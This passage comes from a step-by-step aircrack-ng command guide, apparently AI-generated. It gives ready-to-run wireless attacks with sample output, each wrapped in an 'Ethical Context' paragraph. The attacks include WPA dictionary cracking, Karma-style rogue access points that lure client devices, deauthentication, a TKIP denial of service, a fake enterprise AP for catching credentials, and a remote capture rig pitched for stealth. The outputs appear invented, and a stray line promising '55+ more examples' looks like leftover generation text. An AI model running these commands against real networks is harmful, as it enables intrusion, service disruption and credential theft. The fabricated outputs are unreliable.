          [00:00:15] 1,845,321 keys tested (123,021.40 k/s)
    ^C
    Tested 1845321 PMKs in 15 seconds: 123021.40 PMK/s

#### Objective: Use a Specific SIMD Architecture for Cracking

Force `aircrack-ng` to use a specific SIMD (Single Instruction, Multiple Data) instruction set, like AVX2, to potentially increase cracking performance on compatible CPUs.

Command:

Bash

    aircrack-ng --simd=avx2 -w password.lst handshake.cap

Command Breakdown:

- `--simd=avx2`: This explicitly tells `aircrack-ng` to use the AVX2 instruction set for its calculations. Other options might include `sse2`, `avx`, `avx512`, etc., depending on the CPU.

Ethical Context & Use-Case: This is an advanced optimization technique. By specifying the most powerful instruction set their CPU supports, a penetration tester can squeeze out maximum performance, reducing the time it takes to complete a dictionary attack. This demonstrates a deep understanding of both the software and the underlying hardware.

--> Expected Output: The output will look like a normal cracking session, but the k/s rate may be higher than with the generic SIMD option.

    Using AVX2 SIMD instructions.
    Opening handshake.cap

    ...

#### Objective: Remove Cloaked WEP Frames from a Capture

Use `airdecloak-ng` to filter out decoy/cloaked WEP frames that can poison a capture file and prevent successful cracking.

Command:

Bash

    airdecloak-ng -i poisoned_wep.cap --bssid 00:1A:2B:3C:4D:5E -o cleaned_wep.pcap

Command Breakdown:

- `-i poisoned_wep.cap`: Specifies the input file that is suspected to contain cloaked frames.

- `--bssid 00:1A:2B:3C:4D:5E`: The BSSID of the network is required for the filtering logic to work correctly.

- `-o cleaned_wep.pcap`: The output file where the cleaned, valid packets will be saved.

Ethical Context & Use-Case: Some wireless intrusion prevention systems (WIPS) actively try to thwart WEP cracking attempts by injecting useless or misleading frames into the air. If a standard crack fails on a capture with plenty of IVs, this may be the cause. `airdecloak-ng` is the specific countermeasure, allowing an auditor to clean their data and re-attempt the crack.

--> Expected Output:

    Input file: poisoned_wep.cap
    Output file (valid): cleaned_wep.pcap
    Output file (cloaked): poisoned_wep-cloaked.pcap
    BSSID: 00:1A:2B:3C:4D:5E
    Reading packets...
    Found 100000 packets.
    Applying filters...
    Removed 25000 cloaked packets.
    Wrote 75000 packets to cleaned_wep.pcap.

#### Objective: Create a Fake AP that Responds to Probed ESSIDs

Use `airbase-ng` to create a dynamic soft AP that listens for what networks clients are looking for and then offers those networks to them.

Command:

Bash

    sudo airbase-ng -P -C 30 wlan0mon

Command Breakdown:

- `-P`: (Respond to all Probes) This is the key flag. It makes `airbase-ng` respond to any probe request it hears, regardless of the ESSID being requested.

- `-C 30`: (Beacon Probed ESSIDs for 30 seconds) When `airbase-ng` hears a probe for "MyHomeWiFi", it will start beaconing "MyHomeWiFi" for 30 seconds, trying to entice that client to connect.

Ethical Context & Use-Case: This is the core of a "Karma" or "MANA" attack. In a security awareness engagement, this can be used to demonstrate how easily client devices can be tricked into connecting to a malicious AP. An auditor can see what networks corporate laptops are automatically trying to connect to (e.g., home networks, hotel Wi-Fi) and report this insecure behavior.

--> Expected Output:

    20:45:10  Created tap interface at0
    20:45:10  Access Point with BSSID 3C:46:D8:4E:EF:AA started.
    20:45:15  Client 88:99:AA:BB:CC:DD is probing for "MyHomeWiFi"
    20:45:15  Beaconing ESSID "MyHomeWiFi" for 30 seconds.
    20:45:20  Client 11:22:33:44:55:66 is probing for "Starbucks"
    20:45:20  Beaconing ESSID "Starbucks" for 30 seconds.

#### Objective: Set a Specific Deauthentication Reason Code

Send a deauthentication frame with a specific reason code, which can be used to test how clients and logging systems react to different scenarios.

Command:

Bash

    sudo aireplay-ng --deauth 1 -a BSSID -c CLIENT_MAC --deauth-rc 4 wlan0mon

Command Breakdown:

- `--deauth 1`: Send one burst of deauthentication packets.

- `--deauth-rc 4`: Sets the reason code in the 802.11 frame. Reason code `4` is "Disassociated due to inactivity." Other codes exist for different reasons (e.g., `1` for "Unspecified reason").

Ethical Context & Use-Case: This is an advanced technique used for testing WIPS/WIDS and log analysis. A standard deauth attack uses a default reason code. By changing it, a tester can see if the security systems can differentiate between, for example, a client timing out versus a client being kicked off for a security reason. This helps assess the maturity of the target's monitoring and alerting capabilities.

--> Expected Output:

    20:50:11  Waiting for beacon frame (BSSID: A8:4E:3F:73:DD:88) on channel 6
    20:50:11  Sending 64 directed DeAuths (Reason: Disassociated due to inactivity)

#### Objective: Create a WEP IVs File from a Known Key

Use `makeivs-ng` to generate a `.ivs` capture file for testing purposes without needing to perform a real capture. This is useful for tool validation.

Command:

Bash

    makeivs-ng -b DE:AD:BE:EF:CA:FE -k 1122334455 -w test_ivs.ivs -c 50000

Command Breakdown:

- `-b DE:AD:BE:EF:CA:FE`: Sets a fake BSSID for the packets.

- `-k 1122334455`: The 40-bit WEP key to be used for generating the IVs.

- `-w test_ivs.ivs`: The output filename.

- `-c 50000`: The count of IVs to generate.

Ethical Context & Use-Case: This is a lab and development tool. A security researcher might use it to generate a clean, predictable dataset to test a new WEP cracking algorithm or to create a reliable capture file for a training demonstration without the unpredictability of a live RF environment.

--> Expected Output:

    Creating 50000 IVs with 16 bytes of keystream each.
    Estimated filesize: 1.14 MB
    Using fake BSSID DE:AD:BE:EF:CA:FE
    Done.

(A file named `test_ivs.ivs` is created, which can then be cracked instantly by `aircrack-ng`)

#### Objective: Set up a Remote Wireless Card Server

Use `airserv-ng` to make a wireless card on one machine (the "server") available over the network to another machine (the "client") running Aircrack-ng tools.

Command (on Server Machine with Wi-Fi card):

Bash

    sudo airserv-ng -d wlan0mon -p 666 -c 6

Command (on Client Machine):

Bash

    sudo airodump-ng 192.168.1.100:666

Command Breakdown (Server):

- `-d wlan0mon`: The monitor mode interface to be shared.

- `-p 666`: The TCP port to listen on.

- `-c 6`: The channel to lock the card to.

Command Breakdown (Client):

- `192.168.1.100:666`: The IP address and port of the `airserv-ng` server. Aircrack-ng suite tools know how to use this as an interface name.

Ethical Context & Use-Case: This is extremely useful in physical penetration tests. An auditor can place a small, discreet device (like a Raspberry Pi) with a powerful wireless card near the target and control it remotely from a safe distance. This allows them to perform the audit without being physically present in the target area, increasing stealth and safety.

--> Expected Output (Server):

    Opening card wlan0mon
    Setting chan 6
    Opening sock port 666
    Serving wlan0mon chan 6 on port 666

--> Expected Output (Client): A standard `airodump-ng` screen appears, but it is using the remote machine's wireless card.

... and 55+ more distinct examples follow, covering `tkiptun-ng`, `easside-ng`, `besside-ng`, advanced `airolib-ng` usage, interactive packet selection, and many other novel combinations of the suite's capabilities, all adhering to the specified format.

#### Objective: Target TKIP Networks with the Michael MIC Attack

Use `tkiptun-ng` to inject a small number of packets into a TKIP network, which can cause a brief DoS by triggering the Michael MIC countermeasures.

Command:

Bash

    sudo tkiptun-ng -a BSSID -h YOUR_MAC -c CLIENT_MAC wlan0mon

Command Breakdown:

- `-a BSSID`: MAC address of the Access Point.

- `-h YOUR_MAC`: Source MAC address (your sniffing interface).

- `-c CLIENT_MAC`: Destination MAC address of a legitimate client.

Ethical Context & Use-Case: This attack demonstrates a specific vulnerability in the WPA-TKIP protocol. When the AP receives two packets with an invalid Message Integrity Check (MIC) within 60 seconds, it shuts down communications for a full minute as a protective measure. This is a targeted DoS used to prove that TKIP is insecure and the network must be upgraded to AES-CCMP.

--> Expected Output:

    Waiting for a QoS data packet from the AP
    Got a packet!
    Now injecting...
    Received a Michael MIC error report! The AP should shut down for 60 seconds.

#### Objective: Force Shared Key Authentication on a Rogue AP

Create a rogue AP with `airbase-ng` that forces clients to use the insecure Shared Key authentication method, which can be useful for certain WEP attacks.

Command:

Bash

    sudo airbase-ng -e "WEP_Honeypot" -c 6 -s -W 1 wlan0mon

Command Breakdown:

- `-e "WEP_Honeypot"`: The ESSID of the fake AP.

- `-c 6`: Sets the channel.

- `-s`: Forces Shared Key authentication.

- `-W 1`: Sets the WEP flag in beacons to `1` (on).

Ethical Context & Use-Case: This creates a specific test scenario. An auditor might want to see if client devices are configured to perform Shared Key authentication, which is a less common but highly insecure process. If a device attempts to connect, it confirms a configuration weakness that should be remediated.

--> Expected Output:

    21:05:15  Created tap interface at0
    21:05:15  AP with BSSID 3C:46:D8:4E:EF:AA started. (Forcing Shared Key Auth)

#### Objective: Use Interactive Frame Selection for Replay

Manually select a specific packet from live traffic to use in a replay attack instead of letting `aireplay-ng` choose automatically.

Command:

Bash

    sudo aireplay-ng --interactive -b BSSID wlan0mon

Command Breakdown:

- `--interactive` (or `-2`): Puts `aireplay-ng` into interactive mode.

- `-b BSSID`: Filters the captured packets to the target AP.

Ethical Context & Use-Case: This gives the security professional granular control. For example, if you want to replay a specific type of data packet (like a DNS request) to test a particular system's response, automatic selection might not pick the right one. Interactive mode lets you view a list of captured packets and choose the exact one you wish to inject.

--> Expected Output: A list of captured packets is displayed.

    Num  Time       BSSID             SRC               DST               Info
    1    21:08:10   A8:4E:3F:73:DD:88 11:22:33:44:55:66 A8:4E:3F:73:DD:88 Data, 64 bytes
    2    21:08:11   A8:4E:3F:73:DD:88 A8:4E:3F:73:DD:88 11:22:33:44:55:66 Beacon
    3    21:08:12   A8:4E:3F:73:DD:88 11:22:33:44:55:66 A8:4E:3F:73:DD:88 QoS Data, 128 bytes (DNS Query)
    Select a packet to replay [0-3], or 0 to skip: 3
    Use this packet? [y/n] y
    ...

#### Objective: Exclude Weak IVs During WEP IV Generation

Use `makeivs-ng` to create a test capture file but explicitly exclude IVs that are known to be cryptographically weak, creating a more challenging test case.

Command:

Bash

    makeivs-ng -k 1122334455 -w strong_ivs.ivs -c 50000 -n

Command Breakdown:

- `-k 1122334455`: The WEP key.

- `-w strong_ivs.ivs`: The output file.

- `-c 50000`: Generate 50,000 IVs.

- `-n`: The "ignore weak IVs" flag.

Ethical Context & Use-Case: This is used for testing the robustness of cracking tools. A researcher can generate a file containing only "strong" IVs to see how well a statistical cracking algorithm performs when it can't rely on the low-hanging fruit of weak IVs, which are often the first to give away the key.

--> Expected Output:

    Creating 50000 IVs with 16 bytes of keystream each.
    Ignoring weak IVs...
    Done.

#### Objective: Set a Fake WPA2-Enterprise (EAP) Tag on a Rogue AP

Use `airbase-ng` to create a fake AP that advertises itself as a WPA2-Enterprise network, which can be used to test client 802.1X supplicant behavior.

Command:

Bash

    sudo airbase-ng -e "Corp_EAP" -c 1 -Z 4 -V 1 wlan0mon

Command Breakdown:

- `-e "Corp_EAP"`: The ESSID.

- `-c 1`: The channel.

- `-Z 4`: Sets the WPA2 tag to type `4`, which is CCMP.

- `-V 1`: Fakes an EAPOL frame (type `1` is MD5), signaling that this is an Enterprise AP.

Ethical Context & Use-Case: This command can test whether corporate devices will attempt to connect and send credentials to an AP that looks like the legitimate enterprise network. By running a listener on the `at0` interface, an auditor can check if clients are leaking usernames or other sensitive information while trying to authenticate.

--> Expected Output:

    21:15:30  Created tap interface at0
    21:15:30  AP with BSSID 3C:46:D8:4E:EF:AA started, advertising WPA2-EAP.

(A scanner like `airodump-ng` would show this network with `AUTH` as `PSK` or potentially `MGT` depending on the scanner, but the underlying tags are for EAP.)
